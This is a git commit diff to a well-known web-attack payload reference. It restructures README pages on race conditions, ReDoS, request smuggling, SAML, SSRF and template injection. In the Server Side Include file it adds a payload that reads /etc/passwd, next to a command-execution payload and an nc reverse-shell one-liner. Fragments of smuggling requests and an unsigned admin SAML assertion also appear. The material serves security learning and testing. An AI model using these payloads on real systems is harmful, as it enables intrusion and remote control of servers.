Normalize page header for SSTI, SAML, SSI

swisskyrepo · Nov 10, 2024 · a338b2f · a338b2f
1 parent 1a3e605
commit a338b2f
Show file tree

Hide file tree

Showing 13 changed files with 105 additions and 44 deletions.
diff --git a/Race Condition/README.md b/Race Condition/README.md
@@ -2,11 +2,11 @@
 
 > Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.
 
+
 ## Summary
 
 - [Tools](#tools)
-- [Labs](#labs)
-- [Exploit](#exploit)
+- [Methodology](#methodology)
   - [Limit-overrun](#limit-overrun)
   - [Rate-limit bypass](#rate-limit-bypass)
 - [Techniques](#techniques)
@@ -15,6 +15,7 @@
 - [Turbo Intruder](#turbo-intruder)
   - [Example 1](#example-1)
   - [Example 2](#example-2)
+- [Labs](#labs)
 - [References](#references)
 
 
@@ -25,17 +26,7 @@
 - [nxenon/h2spacex](https://github.com/nxenon/h2spacex) - HTTP/2 Single Packet Attack low Level Library / Tool based on Scapy‌ + Exploit Timing Attacks
 
 
-## Labs
-
-- [PortSwigger - Limit overrun race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun)
-- [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint)
-- [PortSwigger - Bypassing rate limits via race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits)
-- [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint)
-- [PortSwigger - Single-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)
-- [PortSwigger - Exploiting time-sensitive vulnerabilities](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)
-- [PortSwigger - Partial construction race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)
-
-## Exploit
+## Methodology
 
 ### Limit-overrun
 
@@ -47,6 +38,7 @@ Overdrawing limit, multiple voting, multiple spending of a giftcard.
 - [Race conditions can be used to bypass invitation limit - @franjkovic](https://hackerone.com/reports/115007)
 - [Register multiple users using one invitation - @franjkovic](https://hackerone.com/reports/148609)
 
+
 ### Rate-limit bypass
 
 Bypassing anti-bruteforce mechanism and 2FA.
@@ -55,6 +47,7 @@ Bypassing anti-bruteforce mechanism and 2FA.
 
 - [Instagram Password Reset Mechanism Race Condition - Laxman Muthiyah](https://youtu.be/4O9FjTMlHUM)
 
+
 ## Techniques
 
 ### HTTP/1.1 last-byte synchronization
@@ -73,6 +66,7 @@ engine.openGate('race1')
 
 - [Cracking reCAPTCHA, Turbo Intruder style - James Kettle](https://portswigger.net/research/cracking-recaptcha-turbo-intruder-style)
 
+
 ### HTTP/2 Single-packet attack
 
 In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter.
@@ -88,6 +82,7 @@ In HTTP/2 you can send multiple HTTP requests concurrently over a single connect
 
 - [CVE-2022-4037 - Discovering a race condition vulnerability in Gitlab with the single-packet attack - James Kettle](https://youtu.be/Y0NVIVucQNE)
 
+
 ## Turbo Intruder
 
 ### Example 1
@@ -121,6 +116,7 @@ In HTTP/2 you can send multiple HTTP requests concurrently over a single connect
 3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
 4. Click "Attack"
 
+
 ### Example 2
 
 This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.
@@ -155,6 +151,18 @@ def handleResponse(req, interesting):
     table.add(req)
 ```
 
+
+## Labs
+
+- [PortSwigger - Limit overrun race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun)
+- [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint)
+- [PortSwigger - Bypassing rate limits via race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits)
+- [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint)
+- [PortSwigger - Single-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)
+- [PortSwigger - Exploiting time-sensitive vulnerabilities](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)
+- [PortSwigger - Partial construction race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)
+
+
 ## References
 
 - [Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit - @ryotkak - August 2, 2024](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)

diff --git a/Regular Expression/README.md b/Regular Expression/README.md
@@ -2,22 +2,23 @@
 
 > Regular Expression Denial of Service (ReDoS) is a type of attack that exploits the fact that certain regular expressions can take an extremely long time to process, causing applications or services to become unresponsive or crash. 
 
+
 ## Summary
 
-* [Denial of Service - ReDoS](#denial-of-service---redos)
-    * [Evil Regex](#evil-regex)
-    * [Backtrack Limit](#backtrack-limit)
+* [Tools](#tools)
+* [Evil Regex](#evil-regex)
+* [Backtrack Limit](#backtrack-limit)
 * [References](#references)
 
 
-## Denial of Service - ReDoS
+## Tools
 
 * [tjenkinson/redos-detector](https://github.com/tjenkinson/redos-detector) - A CLI and library which tests with certainty if a regex pattern is safe from ReDoS attacks. Supported in the browser, Node and Deno.
 * [doyensec/regexploit](https://github.com/doyensec/regexploit) - Find regular expressions which are vulnerable to ReDoS (Regular Expression Denial of Service)
 * [devina.io/redos-checker](https://devina.io/redos-checker) - Examine regular expressions for potential Denial of Service vulnerabilities
 
 
-### Evil Regex
+## Evil Regex
 
 Evil Regex contains:
 
@@ -37,7 +38,7 @@ Evil Regex contains:
 These regular expressions can be exploited with `aaaaaaaaaaaaaaaaaaaaaaaa!`
 
 
-### Backtrack Limit
+## Backtrack Limit
 
 Backtracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch. The engine then backtracks to the previous matching position and tries an alternative path to find a match. This process can be repeated many times, especially with complex patterns and large input strings.  
 

diff --git a/Request Smuggling/README.md b/Request Smuggling/README.md
@@ -1,40 +1,36 @@
-!# Request Smuggling
+# Request Smuggling
 
 > HTTP Request smuggling occurs when multiple "things" process a request, but differ on how they determine where the request starts/ends. This disagreement can be used to interfere with another user's request/response or to bypass security controls. It normally occurs due to prioritising different HTTP headers (Content-Length vs Transfer-Encoding), differences in handling malformed headers (eg whether to ignore headers with unexpected whitespace), due to downgrading requests from a newer protocol, or due to differences in when a partial request has timed out and should be discarded.
 
+
 ## Summary
 
 * [Tools](#tools)
+* [Methodology](#methodology)
+    * [CL.TE Vulnerabilities](#cl.te-vulnerabilities)
+    * [TE.CL Vulnerabilities](#te.cl-vulnerabilities)
+    * [TE.TE Vulnerabilities](#tete-vulnerabilities)
+    * [HTTP/2 Request Smuggling](#http2-request-smuggling)
+    * [Client-Side Desync](#client-side-desync)
 * [Labs](#labs)
-* [CL.TE vulnerabilities](#cl.te-vulnerabilities)
-* [TE.CL vulnerabilities](#te.cl-vulnerabilities)
-* [TE.TE behavior: obfuscating the TE header](#te.te-behavior-obfuscating-the-te-header)
 * [References](#references)
 
+
 ## Tools
 
 * [bappstore/HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646) - An extension for Burp Suite designed to help you launch HTTP Request Smuggling attacks
 * [defparam/Smuggler](https://github.com/defparam/smuggler) - An HTTP Request Smuggling / Desync testing tool written in Python 3
 * [dhmosfunk/simple-http-smuggler-generator](https://github.com/dhmosfunk/simple-http-smuggler-generator) - This tool is developed for burp suite practitioner certificate exam and HTTP Request Smuggling labs.
 
 
-## Labs
-
-* [PortSwigger - HTTP request smuggling, basic CL.TE vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te)
-* [PortSwigger - HTTP request smuggling, basic TE.CL vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl)
-* [PortSwigger - HTTP request smuggling, obfuscating the TE header](https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header)
-* [PortSwigger - Response queue poisoning via H2.TE request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
-* [PortSwigger - Client-side desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync/lab-client-side-desync)
-
-
-## About CL.TE | TE.CL Vulnerabilities
+## Methodology
 
 If you want to exploit HTTP Requests Smuggling manually you will face some problems especially in TE.CL vulnerability you have to calculate the chunk size for the second request(malicious request) as PortSwigger suggests `Manually fixing the length fields in request smuggling attacks can be tricky.`. 
 
 For that reason you can use the [Simple HTTP Smuggler Generator CL.TE TE.CL](https://github.com/dhmosfunk/simple-http-smuggler-generator) and exploit the CL.TE TE.CL vulnerabilities manually and learn how this vulnerability works and how you can exploit it. 
 
 
-## CL.TE vulnerabilities
+### CL.TE Vulnerabilities
 
 > The front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
 
@@ -65,7 +61,7 @@ G
 ```
 
 
-## TE.CL vulnerabilities
+### TE.CL Vulnerabilities
 
 > The front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header. 
 
@@ -104,7 +100,7 @@ x=1
 :warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence \r\n\r\n following the final 0.
 
 
-## TE.TE behavior: obfuscating the TE header
+### TE.TE Vulnerabilities
 
 > The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
 
@@ -133,7 +129,7 @@ header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: www.example.com
 ```
 
 
-## Client-side desync
+## Client-Side Desync
 
 On some paths, servers don't expect POST requests, and will treat them as simple GET requests, ignoring the payload, eg:
 
@@ -178,6 +174,15 @@ www.example.com now incorrectly processes the HEAD request in the POST's body, i
 Since the browser only sent one request, it accepts the response to the HEAD request as the response to its GET request and interprets the third and fourth responses as the body of the response, and thus executes the attacker's script.
 
 
+## Labs
+
+* [PortSwigger - HTTP request smuggling, basic CL.TE vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te)
+* [PortSwigger - HTTP request smuggling, basic TE.CL vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl)
+* [PortSwigger - HTTP request smuggling, obfuscating the TE header](https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header)
+* [PortSwigger - Response queue poisoning via H2.TE request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
+* [PortSwigger - Client-side desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync/lab-client-side-desync)
+
+
 ## References
 
 - [A Pentester's Guide to HTTP Request Smuggling - Busra Demir - October 16, 2020](https://www.cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling)

diff --git a/SAML Injection/README.md b/SAML Injection/README.md
@@ -1,11 +1,12 @@
 # SAML Injection
 
-> Security Assertion Markup Language (SAML) is an open standard that allows security credentials to be shared by multiple computers across a network. When using SAML-based Single Sign-On (SSO), three distinct parties are involved. There is a user (the so-called principal), an IDentity Provider (IDP), and a cloud application Service Provider (SP).  - centrify
+> SAML (Security Assertion Markup Language) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. While SAML is widely used to facilitate single sign-on (SSO) and other federated authentication scenarios, improper implementation or misconfiguration can expose systems to various vulnerabilities.
+
 
 ## Summary
 
 * [Tools](#tools)
-* [Authentication Bypass](#authentication-bypass)
+* [Methodology](#methodology)
     * [Invalid Signature](#invalid-signature)
     * [Signature Stripping](#signature-stripping)
     * [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks)
@@ -21,14 +22,16 @@
 - [ZAP Addon/SAML Support](https://www.zaproxy.org/docs/desktop/addons/saml-support/) - Allows to detect, show, edit, and fuzz SAML requests.
 
 
-## Authentication Bypass
+## Methodology
 
 A SAML Response should contain the `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"`.
 
+
 ### Invalid Signature
 
 Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.
 
+
 ### Signature Stripping
 
 > [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn
@@ -66,6 +69,7 @@ Example of SAML assertion where `NameID=admin` without signature.
 </saml2p:Response>
 ```
 
+
 ### XML Signature Wrapping Attacks
 
 XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions.
@@ -126,6 +130,7 @@ Researchers have noticed that if an attacker inserts a comment inside the userna
 ```
 Where `[email protected]` is the first part of the username, and `.evil.com` is the second.
 
+
 ### XML External Entity
 
 An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing.
@@ -187,6 +192,7 @@ Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_At
 </ds:Signature>
 ```
 
+
 ## References
 
 - [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - Jem Jensen - March 7, 2017](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/)

diff --git a/Server Side Include Injection/README.md b/Server Side Include Injection/README.md
@@ -5,21 +5,24 @@
 
 ## Summary
 
-* [Payloads](#payloads)
+* [Methodology](#methodology)
 * [References](#references)
 
 
-## Payloads
+## Methodology
+
+SSI Injection occurs when an attacker can input Server Side Include directives into a web application. SSIs are directives that can include files, execute commands, or print environment variables/attributes. If user input is not properly sanitized within an SSI context, this input can be used to manipulate server-side behavior and access sensitive information or execute commands.
 
 | Description             | Payload |
 |-------------------------|---------|
 | Print a date            | `<!--#echo var="DATE_LOCAL" -->` |
 | Print all the variables | `<!--#printenv -->` |
-| Include a file          | `<!--#include file="includefile.html" -->` |
+| Include a file          | `<!--#include file="/etc/passwd" -->` |
 | Execute commands        | `<!--#exec cmd="ls" -->` |
 | Doing a reverse shell   | `<!--#exec cmd="mkfifo /tmp/foo;nc IP PORT 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->` |
 
 
 ## References
 
+* [Exploiting Server Side Include Injection - n00py - August 15, 2017](https://www.n00py.io/2017/08/exploiting-server-side-include-injection/)
 * [Server-Side Includes (SSI) Injection - Weilin Zhong, Nsrav - December 4, 2019](https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection)
diff --git a/Server Side Request Forgery/README.md b/Server Side Request Forgery/README.md
@@ -2,6 +2,7 @@
 
 > Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.
 
+
 ## Summary
 
 * [Tools](#tools)
@@ -56,6 +57,9 @@
     * [SSRF URL for Hetzner Cloud](#ssrf-url-for-hetzner-cloud)
     * [SSRF URL for Docker](#ssrf-url-for-docker)
     * [SSRF URL for Rancher](#ssrf-url-for-rancher)
+* [Labs](#labs) 
+* [References](#references)
+
 
 ## Tools
 
@@ -67,6 +71,7 @@
 - [dwisiswant0/ipfuscator](https://github.com/dwisiswant0/ipfuscator) - A blazing-fast, thread-safe, straightforward and zero memory allocations tool to swiftly generate alternative IP(v4) address representations in Go.
 - [Horlad/r3dir](https://github.com/Horlad/r3dir) - a redirection service designed to help bypass SSRF filters that do not validate the redirect location. Intergrated with Burp with help of Hackvertor tags
 
+
 ## Payloads with localhost
 
 * Using `localhost`
@@ -88,6 +93,7 @@
   http://0.0.0.0:22
   ```
 
+
 ## Bypassing filters
 
 ### Bypass using HTTPS
@@ -892,13 +898,16 @@ curl http://rancher-metadata/<version>/<path>
 
 More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/
 
+
 ## Labs
 
 * [PortSwigger - Basic SSRF against the local server](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost)
 * [PortSwigger - Basic SSRF against another back-end system](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system)
 * [PortSwigger - SSRF with blacklist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter)
 * [PortSwigger - SSRF with whitelist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter)
 * [PortSwigger - SSRF with filter bypass via open redirection vulnerability](https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection)
+* [Root Me - Server Side Request Forgery](https://www.root-me.org/en/Challenges/Web-Server/Server-Side-Request-Forgery)
+* [Root Me - Nginx - SSRF Misconfiguration](https://www.root-me.org/en/Challenges/Web-Server/Nginx-SSRF-Misconfiguration)
 
 
 ## References

diff --git a/Server Side Template Injection/ASP.md b/Server Side Template Injection/ASP.md
@@ -1,5 +1,8 @@
 # Server Side Template Injection - ASP.NET
 
+> Server-Side Template Injection (SSTI)  is a class of vulnerabilities where an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary code on the server. In the context of ASP.NET, SSTI can occur if user input is directly embedded into a template (such as Razor, ASPX, or other templating engines) without proper sanitization. 
+
+
 ## Summary
 
 - [ASP.NET Razor](#aspnet-razor)

diff --git a/Server Side Template Injection/Java.md b/Server Side Template Injection/Java.md
@@ -1,5 +1,8 @@
 # Server Side Template Injection - Java
 
+> Server-Side Template Injection (SSTI)  is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.
+
+
 ## Summary
 
 - [Templating Libraries](#templating-libraries)